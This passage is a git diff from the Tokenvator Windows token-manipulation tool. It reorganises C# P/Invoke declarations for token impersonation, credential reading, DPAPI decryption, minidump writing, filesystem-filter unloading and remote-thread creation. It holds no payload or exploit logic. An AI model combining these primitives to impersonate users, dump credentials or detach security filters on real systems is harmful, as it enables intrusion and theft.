_LUID_AND_ATTRIBUTES[] Privilege; + } + //PRIVILEGE_SET, * PPRIVILEGE_SET + + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_AND_ATTRIBUTES + { + public PSID Sid; + public DWORD Attributes; + } + //SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES + + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_AND_ATTRIBUTES_MIDL + { + public Ntifs._SID Sid; + public DWORD Attributes; + } + //SID_AND_ATTRIBUTES, *PSID_AND_ATTRIBUTES + + + [Flags] + public enum _SECURITY_IMPERSONATION_LEVEL : int + { + SecurityAnonymous = 0, + SecurityIdentification = 1, + SecurityImpersonation = 2, + SecurityDelegation = 3 + }; + + [StructLayout(LayoutKind.Sequential)] + public struct _SID_IDENTIFIER_AUTHORITY + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] + public Byte[] Value; + } + + [Flags] + public enum _SID_NAME_USE + { + SidTypeUser = 1, + SidTypeGroup, + SidTypeDomain, + SidTypeAlias, + SidTypeWellKnownGroup, + SidTypeDeletedAccount, + SidTypeInvalid, + SidTypeUnknown, + SidTypeComputer, + SidTypeLabel + } + + [Flags] + public enum TOKEN_ELEVATION_TYPE + { + TokenElevationTypeDefault = 1, + TokenElevationTypeFull, + TokenElevationTypeLimited + } + + [Flags] + public enum _TOKEN_INFORMATION_CLASS + { + TokenUser = 1, + TokenGroups, + TokenPrivileges, + TokenOwner, + TokenPrimaryGroup, + TokenDefaultDacl, + TokenSource, + TokenType, + TokenImpersonationLevel, + TokenStatistics, + TokenRestrictedSids, + TokenSessionId, + TokenGroupsAndPrivileges, + TokenSessionReference, + TokenSandBoxInert, + TokenAuditPolicy, + TokenOrigin, + TokenElevationType, + TokenLinkedToken, + TokenElevation, + TokenHasRestrictions, + TokenAccessInformation, + TokenVirtualizationAllowed, + TokenVirtualizationEnabled, + TokenIntegrityLevel, + TokenUIAccess, + TokenMandatoryPolicy, + TokenLogonSid, + TokenIsAppContainer, + TokenCapabilities, + TokenAppContainerSid, + TokenAppContainerNumber, + TokenUserClaimAttributes, + TokenDeviceClaimAttributes, + TokenRestrictedUserClaimAttributes, + TokenRestrictedDeviceClaimAttributes, + TokenDeviceGroups, + TokenRestrictedDeviceGroups, + TokenSecurityAttributes, + TokenIsRestricted, + MaxTokenInfoClass + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_MANDATORY_LABEL + { + public _SID_AND_ATTRIBUTES Label; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_PRIVILEGES + { + public UInt32 PrivilegeCount; + public _LUID_AND_ATTRIBUTES Privileges; + } + + [StructLayout(LayoutKind.Sequential)] + public struct _TOKEN_PRIVILEGES_ARRAY + { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 30)] + public _LUID_AND_ATTRIBUTES[] Privileges; + } + [StructLayout(LayoutKind.Sequential)] internal struct _TOKEN_STATISTICS { - public Structs._LUID TokenId; - public Structs._LUID AuthenticationId; + public Winnt._LUID TokenId; + public Winnt._LUID AuthenticationId; public LARGE_INTEGER ExpirationTime; - public TOKEN_TYPE TokenType; + public _TOKEN_TYPE TokenType; public _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; public DWORD DynamicCharged; public DWORD DynamicAvailable; public DWORD GroupCount; public DWORD PrivilegeCount; - public Structs._LUID ModifiedId; + public Winnt._LUID ModifiedId; + } + + [Flags] + public enum _TOKEN_TYPE + { + TokenPrimary = 1, + TokenImpersonation + } + + [StructLayout(LayoutKind.Sequential)] + public struct _XMM_SAVE_AREA32 + { + public WORD ControlWord; + public WORD StatusWord; + public byte TagWord; + public byte Reserved1; + public WORD ErrorOpcode; + public DWORD ErrorOffset; + public WORD ErrorSelector; + public WORD Reserved2; + public DWORD DataOffset; + public WORD DataSelector; + public WORD Reserved3; + public WORD MxCsr; + public WORD MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public _M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public _M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs b/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs new file mode 100644 index 0000000..b693f8c --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Headers/wudfwdm.cs @@ -0,0 +1,34 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +using USHORT = System.UInt16; + +using ULONG = System.UInt32; + +using HANDLE = System.IntPtr; +using PVOID = System.IntPtr; + +namespace Unmanaged.Headers +{ + class wudfwdm + { + public struct _UNICODE_STRING + { + public USHORT Length; + public USHORT MaximumLength; + public Char[] Buffer; + } + + public struct _OBJECT_ATTRIBUTES + { + public ULONG Length; + public HANDLE RootDirectory; + public IntPtr ObjectName; + public ULONG Attributes; + public PVOID SecurityDescriptor; + public PVOID SecurityQualityOfService; + } + } +} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs index 6474e72..e6304bb 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/advapi32.cs @@ -5,23 +5,35 @@ using System.Text; using Microsoft.Win32; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class advapi32 + sealed class advapi32 { - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean AdjustTokenGroups( + IntPtr TokenHandle, + Boolean ResetToDefault, + ref Ntifs._TOKEN_GROUPS NewState, + UInt32 BufferLength, + ref Ntifs._TOKEN_GROUPS PreviousState, + out UInt32 ReturnLengthInBytes + ); + + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AdjustTokenPrivileges( IntPtr TokenHandle, Boolean DisableAllPrivileges, - ref Structs._TOKEN_PRIVILEGES NewState, + ref Winnt._TOKEN_PRIVILEGES NewState, UInt32 BufferLengthInBytes, - ref Structs._TOKEN_PRIVILEGES PreviousState, + ref Winnt._TOKEN_PRIVILEGES PreviousState, out UInt32 ReturnLengthInBytes ); - - [DllImport("advapi32.dll", SetLastError=true)] + + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean AllocateAndInitializeSid( - ref Structs.SidIdentifierAuthority pIdentifierAuthority, + ref Winnt._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority, byte nSubAuthorityCount, Int32 dwSubAuthority0, Int32 dwSubAuthority1, @@ -35,193 +47,175 @@ out IntPtr pSid ); [DllImport("advapi32.dll", SetLastError = true)] - public static extern Boolean AllocateAndInitializeSid( - ref Structs.SidIdentifierAuthority pIdentifierAuthority, - byte nSubAuthorityCount, - Int32 dwSubAuthority0, - Int32 dwSubAuthority1, - Int32 dwSubAuthority2, - Int32 dwSubAuthority3, - Int32 dwSubAuthority4, - Int32 dwSubAuthority5, - Int32 dwSubAuthority6, - Int32 dwSubAuthority7, - ref Structs._SID pSid - ); + public static extern Boolean CloseServiceHandle(IntPtr hSCObject); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr ControlService(IntPtr hService, Winsvc.dwControl dwControl, out Winsvc._SERVICE_STATUS lpServiceStatus); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr ControlServiceEx(IntPtr hService, Winsvc.dwControl dwControl, Int32 dwInfoLevel, out Winsvc._SERVICE_STATUS lpServiceStatus); [DllImport("advapi32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ConvertSidToStringSid( - IntPtr pSID, - out IntPtr ptrSid - ); + public static extern bool ConvertSidToStringSid(IntPtr Sid, ref IntPtr StringSid); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean CreateProcessAsUser( - IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - ref Structs._SECURITY_ATTRIBUTES lpProcessAttributes, - ref Structs._SECURITY_ATTRIBUTES lpThreadAttributes, - Boolean bInheritHandles, - Enums.CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo - ); + IntPtr hToken, + String lpApplicationName, + String lpCommandLine, + ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, + ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, + Boolean bInheritHandles, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInfo); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CreateProcessAsUserW( + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern Boolean CreateProcessAsUserW(IntPtr hToken, IntPtr lpApplicationName, IntPtr lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref Winbase._STARTUPINFO lpStartupInfo, out Winbase._PROCESS_INFORMATION lpProcessInfo); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern Boolean CreateProcessWithTokenW( IntPtr hToken, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - IntPtr lpProcessAttributes, - IntPtr lpThreadAttributes, - Boolean bInheritHandles, - Enums.CREATION_FLAGS dwCreationFlags, - IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo - ); - - [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] - public static extern bool CreateProcessWithLogonW( - String userName, - String domain, - String password, - int logonFlags, - String applicationName, - String commandLine, - int creationFlags, - IntPtr environment, - String currentDirectory, - ref Structs._STARTUPINFO startupInfo, - out Structs._PROCESS_INFORMATION processInformation + Winbase.LOGON_FLAGS dwLogonFlags, + String lpApplicationName, + String lpCommandLine, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInfo ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CreateProcessWithTokenW( - IntPtr hToken, - Enums.LOGON_FLAGS dwLogonFlags, - IntPtr lpApplicationName, - IntPtr lpCommandLine, - Enums.CREATION_FLAGS dwCreationFlags, + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern Boolean CreateProcessWithLogonW( + String lpUsername, + String lpDomain, + String lpPassword, + Winbase.LOGON_FLAGS dwLogonFlags, + String lpApplicationName, + String lpCommandLine, + Winbase.CREATION_FLAGS dwCreationFlags, IntPtr lpEnvironment, - IntPtr lpCurrentDirectory, - ref Structs._STARTUPINFO lpStartupInfo, - out Structs._PROCESS_INFORMATION lpProcessInfo + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInformation ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredEnumerateW( - String Filter, - Int32 Flags, - out Int32 Count, - out IntPtr Credentials + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr CreateService( + IntPtr hSCManager, + String lpServiceName, + String lpDisplayName, + Winsvc.dwDesiredAccess dwDesiredAccess, + Winsvc.dwServiceType dwServiceType, + Winsvc.dwStartType dwStartType, + Winsvc.dwErrorControl dwErrorControl, + String lpBinaryPathName, + String lpLoadOrderGroup, + String lpdwTagId, + String lpDependencies, + String lpServiceStartName, + String lpPassword ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredFree( - IntPtr Buffer - ); + [Flags] + public enum CRED_TYPE : uint + { + Generic = 1, + DomainPassword, + DomainCertificate, + DomainVisiblePassword, + GenericCertificate, + DomainExtended, + Maximum, + MaximumEx = Maximum + 1000, + } - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredReadW( - String target, - Enums.CRED_TYPE type, - Int32 reservedFlag, - out IntPtr credentialPtr - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredEnumerateW(String Filter, Int32 Flags, out Int32 Count, out IntPtr Credentials); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean CredWriteW( - ref Structs._CREDENTIAL userCredential, - UInt32 flags - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredFree(IntPtr Buffer); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean DuplicateTokenEx( - IntPtr hExistingToken, - UInt32 dwDesiredAccess, - ref Structs._SECURITY_ATTRIBUTES lpTokenAttributes, - Enums._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, - Enums.TOKEN_TYPE TokenType, - out IntPtr phNewToken - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredReadW(String target, CRED_TYPE type, Int32 reservedFlag, out IntPtr credentialPtr); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - Enums._TOKEN_INFORMATION_CLASS TokenInformationClass, - IntPtr TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean CredWriteW(ref WinCred._CREDENTIAL userCredential, UInt32 flags); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean GetTokenInformation( - IntPtr TokenHandle, - Enums._TOKEN_INFORMATION_CLASS TokenInformationClass, - ref Winnt._TOKEN_STATISTICS TokenInformation, - UInt32 TokenInformationLength, - out UInt32 ReturnLength - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DeleteService(IntPtr hService); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean ImpersonateLoggedOnUser( - IntPtr hToken - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, IntPtr lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt._TOKEN_TYPE TokenType, out IntPtr phNewToken); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean ImpersonateSelf( - Enums.SECURITY_IMPERSONATION_LEVEL ImpersonationLevel - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean DuplicateTokenEx(IntPtr hExistingToken, UInt32 dwDesiredAccess, ref Winbase._SECURITY_ATTRIBUTES lpTokenAttributes, Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, Winnt._TOKEN_TYPE TokenType, out IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateNamedPipeClient(IntPtr hNamedPipe); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean ImpersonateSelf(Winnt._SECURITY_IMPERSONATION_LEVEL ImpersonationLevel); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr FreeSid(IntPtr pSid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); - [DllImport("advapi32.dll", SetLastError=true, CharSet = CharSet.Auto)] + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean GetTokenInformation(IntPtr TokenHandle, Winnt._TOKEN_INFORMATION_CLASS TokenInformationClass, ref Winnt._TOKEN_STATISTICS TokenInformation, UInt32 TokenInformationLength, out UInt32 ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern bool LookupAccountSid( - String lpSystemName, - //[MarshalAs(UnmanagedType.LPArray)] + String lpSystemName, IntPtr Sid, StringBuilder lpName, ref UInt32 cchName, StringBuilder ReferencedDomainName, ref UInt32 cchReferencedDomainName, - out Enums._SID_NAME_USE peUse + out Winnt._SID_NAME_USE peUse ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean LookupPrivilegeName( + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern bool LookupAccountSid( String lpSystemName, - IntPtr lpLuid, - StringBuilder lpName, - ref Int32 cchName + IntPtr Sid, + IntPtr lpName, + ref UInt32 cchName, + IntPtr ReferencedDomainName, + ref UInt32 cchReferencedDomainName, + out Winnt._SID_NAME_USE peUse ); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean LookupPrivilegeValue( - String lpSystemName, - String lpName, - ref Structs._LUID luid - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeName(String lpSystemName, IntPtr lpLuid, StringBuilder lpName, ref Int32 cchName); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern Boolean PrivilegeCheck( - IntPtr ClientToken, - Structs._PRIVILEGE_SET RequiredPrivileges, - out IntPtr pfResult - ); - - [DllImport("advapi32.dll", SetLastError=true, CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - UIntPtr hKey, - String subKey, - Int32 ulOptions, - Int32 samDesired, - out UIntPtr hkResult - ); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean LookupPrivilegeValue(String lpSystemName, String lpName, ref Winnt._LUID luid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenSCManager(String lpMachineName, String lpDatabaseName, Winsvc.dwSCManagerDesiredAccess dwDesiredAccess); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern IntPtr OpenService(IntPtr hSCManager, String lpServiceName, Winsvc.dwDesiredAccess dwDesiredAccess); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean PrivilegeCheck(IntPtr ClientToken, Winnt._PRIVILEGE_SET RequiredPrivileges, out IntPtr pfResult); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern Boolean StartService(IntPtr hService, Int32 dwNumServiceArgs, String[] lpServiceArgVectors); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx(UIntPtr hKey, String subKey, Int32 ulOptions, Int32 samDesired, out UIntPtr hkResult); + + [DllImport("advapi32.dll", SetLastError = true)] public static extern uint RegQueryValueEx( UIntPtr hKey, String lpValueName, @@ -231,7 +225,17 @@ public static extern uint RegQueryValueEx( ref Int32 lpcbData ); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] + public static extern UInt32 RegQueryValueEx( + UIntPtr hKey, + string lpValueName, + int lpReserved, + ref Int32 lpType, + IntPtr lpData, + ref int lpcbData + ); + + [DllImport("advapi32.dll", SetLastError = true)] public static extern Int32 RegQueryInfoKey( UIntPtr hKey, StringBuilder lpClass, @@ -247,7 +251,7 @@ public static extern Int32 RegQueryInfoKey( IntPtr lpftLastWriteTime ); - [DllImport("advapi32.dll", SetLastError=true)] + [DllImport("advapi32.dll", SetLastError = true)] public static extern Boolean RevertToSelf(); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs b/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs index 04e2373..c7b295f 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/crypt32.cs @@ -5,18 +5,35 @@ using DWORD = System.UInt32; using QWORD = System.UInt64; +using LPCTSTR = System.String; using LPWSTR = System.Text.StringBuilder; using PVOID = System.IntPtr; using LPVOID = System.IntPtr; using DWORD_PTR = System.IntPtr; -namespace Tokenvator +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - class crypt32 + sealed class crypt32 { - [DllImport("crypt32.dll", SetLastError=true)] - internal static extern bool CryptUnprotectData( + public const UInt32 CRYPTPROTECT_UI_FORBIDDEN = 0x1; + public const UInt32 CRYPTPROTECT_LOCAL_MACHINE = 0x4; + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptStringToBinary( + LPCTSTR pszString, + DWORD cchString, + DWORD dwFlags, + out IntPtr pbBinary, + ref DWORD pcbBinary, + out DWORD pdwSkip, + out DWORD pdwFlags + ); + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptUnprotectData( ref Wincrypt._CRYPTOAPI_BLOB pDataIn, LPWSTR ppszDataDescr, ref Wincrypt._CRYPTOAPI_BLOB pOptionalEntropy, @@ -25,5 +42,16 @@ internal static extern bool CryptUnprotectData( DWORD dwFlag, ref Wincrypt._CRYPTOAPI_BLOB pDataOut ); + + [DllImport("crypt32.dll", SetLastError = true)] + public static extern bool CryptUnprotectData( + ref Wincrypt._CRYPTOAPI_BLOB pDataIn, + LPWSTR ppszDataDescr, + IntPtr pOptionalEntropy, + PVOID pvReserved, + IntPtr pPromptStruct, + DWORD dwFlag, + ref Wincrypt._CRYPTOAPI_BLOB pDataOut + ); } } \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs b/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs new file mode 100644 index 0000000..7c7ee46 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/dbghelp.cs @@ -0,0 +1,63 @@ +using System; +using System.Runtime.InteropServices; + +using BOOLEAN = System.Boolean; + +using WORD = System.UInt16; +using DWORD = System.UInt32; +using QWORD = System.UInt64; + +using HANDLE = System.IntPtr; +using PVOID = System.IntPtr; +using LPVOID = System.IntPtr; +using DWORD_PTR = System.IntPtr; + +using ULONG = System.UInt32; +using ULONG32 = System.UInt32; +using ULONG64 = System.UInt64; + +using BOOL = System.Boolean; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + sealed class dbghelp + { + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct _LOADED_IMAGE { + public string ModuleName; + public HANDLE hFile; + public IntPtr MappedAddress; + public Winnt._IMAGE_NT_HEADERS FileHeader; + public Winnt._IMAGE_SECTION_HEADER LastRvaSection; + public ULONG NumberOfSections; + public Winnt._IMAGE_SECTION_HEADER Sections; + public ULONG Characteristics; + public BOOLEAN fSystemImage; + public BOOLEAN fDOSImage; + public BOOLEAN fReadOnly; + public IntPtr Version; + public Winternl._LIST_ENTRY Links; + public ULONG SizeOfImage; + } + + [DllImport("dbghelp.dll", SetLastError = true)] + public static extern Boolean MiniDumpCallback( + PVOID CallbackParam, + IntPtr CallbackInput, + IntPtr CallbackOutput + ); + + [DllImport("dbghelp.dll", SetLastError = true)] + public static extern Boolean MiniDumpWriteDump( + HANDLE hProcess, + DWORD ProcessId, + HANDLE hFile, + Minidumpapiset._MINIDUMP_TYPE DumpType, + IntPtr ExceptionParam, + IntPtr UserStreamParam, + IntPtr CallbackParam + ); + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs new file mode 100644 index 0000000..0ada462 --- /dev/null +++ b/Tokenvator/Resources/Unmanaged/Libraries/fltlib.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries +{ + class fltlib + { + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern UInt32 FilterDetach(String lpFilterName, String lpVolumeName, String lpInstanceName); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterInstanceFindClose(IntPtr hFilterInstanceFind); + + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern UInt32 FilterInstanceFindFirst( + String lpFilterName, + FltUserStructures._INSTANCE_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned, + ref IntPtr lpFilterInstanceFind + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterInstanceFindNext( + IntPtr hFilterInstanceFind, + FltUserStructures._INSTANCE_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindClose(IntPtr hFilterFind); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindFirst( + FltUserStructures._FILTER_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + ref UInt32 lpBytesReturned, + ref IntPtr lpFilterFind + ); + + [DllImport("FltLib.dll", SetLastError = true)] + public static extern UInt32 FilterFindNext( + IntPtr hFilterFind, + FltUserStructures._FILTER_INFORMATION_CLASS dwInformationClass, + IntPtr lpBuffer, + UInt32 dwBufferSize, + out UInt32 lpBytesReturned + ); + + [DllImport("FltLib.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern UInt32 FilterUnload(String lpFilterName); + } +} diff --git a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs index 3f37d61..1d4b46a 100644 --- a/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs +++ b/Tokenvator/Resources/Unmanaged/Libraries/kernel32.cs @@ -2,52 +2,225 @@ using System.Runtime.InteropServices; using System.Text; -namespace Tokenvator +using Microsoft.Win32.SafeHandles; + +using Unmanaged.Headers; + +namespace Unmanaged.Libraries { - internal class kernel32 + sealed class kernel32 { + public const UInt32 PROCESS_CREATE_THREAD = 0x0002; + public const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; + public const UInt32 PROCESS_VM_OPERATION = 0x0008; + public const UInt32 PROCESS_VM_WRITE = 0x0020; + public const UInt32 PROCESS_VM_READ = 0x0010; + public const UInt32 PROCESS_ALL_ACCESS = 0x1F0FFF; + + public const UInt32 MEM_COMMIT = 0x00001000; + public const UInt32 MEM_RESERVE = 0x00002000; + //////////////////////////////////////////////////////////////////////////////// - [DllImport("kernel32.dll")] - internal static extern Boolean CloseHandle(IntPtr hProcess); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean CloseHandle(IntPtr hProcess); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ConnectNamedPipe( + IntPtr hNamedPipe, + MinWinBase._OVERLAPPED lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean ConnectNamedPipe( + IntPtr hNamedPipe, + IntPtr lpOverlapped + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean CreateProcess( + String lpApplicationName, + String lpCommandLine, + ref Winbase._SECURITY_ATTRIBUTES lpProcessAttributes, + ref Winbase._SECURITY_ATTRIBUTES lpThreadAttributes, + Boolean bInheritHandles, + Winbase.CREATION_FLAGS dwCreationFlags, + IntPtr lpEnvironment, + String lpCurrentDirectory, + ref Winbase._STARTUPINFO lpStartupInfo, + out Winbase._PROCESS_INFORMATION lpProcessInformation + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateNamedPipeA( + String lpName, + Winbase.OPEN_MODE dwOpenMode, + Winbase.PIPE_MODE dwPipeMode, + UInt32 nMaxInstances, + UInt32 nOutBufferSize, + UInt32 nInBufferSize, + UInt32 nDefaultTimeOut, + Winbase._SECURITY_ATTRIBUTES lpSecurityAttributes + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateNamedPipeA( + String lpName, + Winbase.OPEN_MODE dwOpenMode, + Winbase.PIPE_MODE dwPipeMode, + UInt32 nMaxInstances, + UInt32 nOutBufferSize, + UInt32 nInBufferSize, + UInt32 nDefaultTimeOut, + IntPtr lpSecurityAttributes + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateRemoteThread(IntPtr hHandle, IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr CreateToolhelp32Snapshot(UInt32 dwFlags, UInt32 th32ProcessID); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Boolean DisconnectNamedPipe(IntPtr hNamedPipe); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern void GetNativeSystemInfo(out Winbase._SYSTEM_INFO lpSystemInfo); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern Int32 GetPrivateProfileString(String lpAppName, String lpKeyName, String lpDefault, StringBuilder lpReturnedString, UInt32 